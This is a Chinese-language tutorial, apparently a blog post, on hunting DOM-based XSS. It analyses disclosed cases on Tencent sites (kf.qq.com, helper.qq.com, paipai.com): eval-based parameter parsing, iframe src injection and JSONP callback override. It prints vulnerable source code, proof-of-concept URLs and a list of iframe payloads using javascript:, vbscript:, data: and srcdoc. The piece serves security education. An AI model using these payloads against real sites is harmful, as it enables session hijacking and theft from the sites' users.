前边的分析过程,看起来还是比较浅,不论是直接在源码中出现的,还是在elements 中出现的,他们都是通过JavaScript 的document.write 或者是 innerHTML 输出到网页去了,所以还是可以轻松的在开发者工具那里看到输出的位置。但是,如果一部分输出,最终没有流向innerHTML 或者是 document.write,就需要安心下来慢慢挖掘了。
腾讯的栗子:
http://kf.qq.com/search_app.shtml?key=aaaaa
跑去源码和开发者工具里搜索一通,都没有搜索到,下面,我们换个思路,进入console 中,看能否发现一些。我们按照往常,在URL 的参数里,构造一些特殊字符,单引号,双引号,尖括号,斜杠,一般来说,双引号单引号都会最早被过滤,所以一般斜杠的几率还大一些。我们构建之后,查看结果返回一个错误的信息:
右边能点开帮助文档,能看到源文件,那我们进源文件好好看看到底哪里出错了,有没有机会绕过。我们定位到代码的位置,上下文大约如此:
var getarg = function()
{
var url = window.location.href;
var allargs = url.split("?")[1];
if (allargs!=null && allargs.indexOf("=")>0)
{
var args = allargs.split("&");
for(var i=0; i<args.length; i++)
{
var arg = args[i].split("=");
eval('this.'+arg[0]+'="'+arg[1]+'";');
}
}
};
这就是最简单的从URL 中获取参数的代码,url 是原始的url,allargs 是问号之后的参数部分,然后通过& 分割的开来,然后对URL 中每一个参数键值对,用一个eval 来执行记录操作,也就是执行了eval('this.key'="aaaa";'),eval('this.'+arg[0]+'="'+arg[1]+'";');两个参数分别对应了等号左右的键和值,虽然我们没有在页面里看到输出,但是它实际上还是输出了。
那么,我们不仅可以对值进行替换,还可以对键进行替换尝试,我们先替换一下arg[0] 试试:
this.key="aaaa";
this.key;alert(1);//="aaaa";
变成上式那样的,就可以弹窗了,双斜杠形成注释,截掉了后边的内容。测试一下这个URL:
http://kf.qq.com/search_app.shtml?key;alert(1);//=aaaa
弹弹弹,那么后边的值部分可以不可以呢。
按照惯常思路,使用双引号闭合,然后加入利用函数:
this.key="aaaa";
this.key="aaaa";alert(1);//";
构造出来的URL:
http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//
但是,对于chrome等非IE 浏览器,实际上,对于URL 出现的双引号,会将其进行URL 编码,在HTML 解析的时候,无法完成正常的语法结构,也就失效了,不过上述代码在IE下是有效的。
下面我们再发现输出在iframe中的,因为iframe 后边可以跟src ,有时候为了方便嵌套小框架,会从URL里读取参数,然后构造成地址,输出在iframe 的src 中,形如:< iframe src="[输出]">< /iframe>。
但是,对于src 来说,我们可以插入伪URL ,来执行JS 代码,常见的插入在前边也说过,对于iframe 可以有以下几种:
- < iframe onload="alert(1)">< /iframe>
- js伪url: < iframe src="javascript:alert(1)">< /iframe>
- IE下的vbscript执行代码: < iframe src="vbscript:msgbox(1)">< /iframe>
- Chrome 下data的协议执行代码:< iframe src="data:text/html,< script>alert(1)< /script>">< /iframe>
- 如果尖括号被屏蔽,还可以使用HTML 实体编码:< iframe src="data:text/html,< ;script> ;alert(1)< ;/script> ;">< /iframe>
- 以及Chrome下srcdoc属性:< iframe srcdoc="< ; script> ;alert(1)< ;/script> ;">< /iframe>
下面继续从乌云上的栗子开始学习:
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from=
仍然使用最简单的方式去开发者工具里找输出,看到被带到了iframe 的src 中去:
尝试用最简单的方式构造一个弹窗:
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from=
结果失效:
看来是被过滤掉了,那么寻找到这个iframe 的处理操作,去找找问题,在js 源码里,找到了相关的处理:
function OpenFrame(url) {
if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false;
document.getElementById("toolframe").src = url;
}
实际上,他做了最简单的过滤,仅仅是不允许JavaScript 伪URL,而url 参数,我们寻找turl 参数,源码中,并没再做更多操作:
var tool_url = getQueryStringValue("turl");
...
openFrame(tool_url);
那么我们就可以用上边说的使用VBScript来在IE 下XSS,可以在Chrome 中用date 来构造XSS。
IE: http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=
Chrome: http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=
p.p1 {margin: 0.0px 0.0px 0.0px 60.0px; text-indent: -19.2px; font: 16.0px Courier; color: #66cccc}p.p2 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cccccc; min-height: 19.0px}p.p3 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px 'PingFang SC'; color: #cccccc}p.p4 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #999999}p.p5 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #e6424b}p.p6 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cccccc}p.p7 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #999999; min-height: 19.0px}p.p8 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cc99cc}span.s1 {font: 16.0px 'PingFang SC'}span.s2 {font: 16.0px Courier}span.s3 {color: #999999}span.s4 {color: #c33795}span.s5 {color: #233fd0}span.s6 {color: #e6424b}span.s7 {color: #8b86c9}
**# DOM XSS****奥义**** **
一些我们普遍了解的XSS 基本已经让大部分开发者们警醒,也都做了足够充分的教训,所以想要像以前那样随意的挖洞就不可能了,但是XSS 是无穷的,只要能深入源码,总会有所发现。
常常程序会动态加载json 数据,同域可以用ajax,而不同域时,就需要跨域请求,有一种方法是jsonp,利用callback回调完成跨域,而在调用外部数据的时候还会带上一些参数,而如果这些参数可控,我们就可以试图去挖掘漏洞。
对于跨域的请求来说,最常见的形式是这样:
somescript.src="http://otherdomain.com/xx?jsonp=callback"
而为了方便,callback 后边会带上一些参数,有一些参数是用户可控的,那时候,就会造成困扰了:
somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;
如果其中的ID 可控,那就很有可能会带来问题,这算是一种地址可控,而地址可控分为三种形式:
一种是,完全可控,也就是src 后边的内容可以直接替换掉,这种可以直接利用,替换成我们的JS 地址。
一种是部分可控:
script src="/path/xxx/[路径可控]/1.js"
这种情况下一般是在同域下寻找一个有漏洞的上传点,上传些文件什么的,以便利用。
第三种情况是参数可控:
script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[参数可控]"
经过简单在这个页面测试,我们可以发现,其中的callback, dtag, ranking 是可控的。不过可控的元素还是会被过滤的,比如常见的尖括号就一定会被过滤。
实际在使用中,访问这个跨域数据的是以下URL:
http://bag.paipai.com/search_list.shtml?type=&callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13
因为dtag,ranking 是放在双引号里的,过滤了双引号,基本很难有可以应用的地方。而callback 则不是,如果能构造一个callback=alert(1) ,就可以执行XSS,不过在我们发现写在一开始的callback 并不能直接去改变值来控制它,我们可以想办法通过后边可控的参数,用&来分隔后再来一个callback=alert(1)来覆盖前边的callback。
不过一般来说,如果你在构造URL 的时候,如果使用了&,那就会直接认为你这是分隔符,这个方法就失效了。而如果我们试图使用%26 这个URL 编码来代替,但是它在传递的时候,并不会解码,所以也不会让服务器解析的时候才认定他是分隔符。
所以,只能去从源码里找漏洞,我们找到他的search.js脚本,定位到那一块观察上下文:
function init() {
var keyword = decodeURIComp($getQuery('keyword')),
type = $getQuery('type'),
searchtype = $getQuery('searchtype');
option.keyword = keyword;
option.classId = type;
option.searchType = searchtype || option.searchType;
option.beginPrice = $getQuery('bp');
option.endPrice = $getQuery('ep');
option.NewProp = $getQuery('np') || $getQuery('newprop');
option.property = $getQuery('pro') || option.property;
option.cid = $getQuery('cid');
option.Paytype = $getQuery('pt') || option.Paytype;
option.hongbaoKeyword = $getQuery('hb');
option.conditionStatus = $getQuery('cs') || option.conditionStatus;
option.showType = $getQuery('show') || option.showType;
option.mode = $getQuery('mode') || option.mode;
option.address = decodeURIComp($getQuery('adr'));
option.orderStyle = $getQuery('os') || option.orderStyle || 80;
option.hideKeyword = $getQuery('hkwd') == "true" ? true: false;
option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG');
var pageIndex = $getQuery('pi'),
pageSize = $getQuery('ps');
option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex;
option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize;
};
这里的脚本,就是jason参数和当前页面获得参数的一些关系,而其中有一个函数让我们看到了希望: decodeURLComp,它在传进来的时候,会被解码一次,有木有想起什么。对于这个keyword,如果我们使用了URL 编码传%26进去,他会解码成&,那么我们直接使用%26callback=alert(1),那就可以会被解码成一个分隔符,然后出发我们的漏洞。
抓个包,可以看到接收的json 数据已经得到改变:
弹窗就是自然的了。
其实,这个漏洞已经显得有些运气成分了,也可以说是开发者在业务的逻辑关系变得复杂之后,往往就缺乏足够的安全意识,去处理这些跨域安全问题了,往往在源码上,会造成一些漏洞。上边的例子我们也能看到,本身在过滤的逻辑上,已经很难寻找漏洞,但是因为开发者在处理流程的时候,没有去思考它可能的上下文关系,也就主动创造了一个漏洞出来。
DOM XSS 的内容,大概也就这么多了。在DOM XSS 漏洞的挖掘中,最常用的自动化挖掘方式,其实就是利用爬虫和抓包重放,爬虫通过遍历某网站的各种结构URL,然后抓包重放去构造独特的字符替换掉URL中那些可控的参数,通过服务器返回的状态,和内容,去挖掘可能存在的不安全因素。
而挖掘到不安全因素,只是XSS 最早的第一步,现在,那些最常见的漏洞已经基本销声匿迹,需要的是通过分析源码,寻找某个点的上下文关系,通过理清逻辑关系,寻找开发者在其中的疏漏,才能创造出合适的XSS。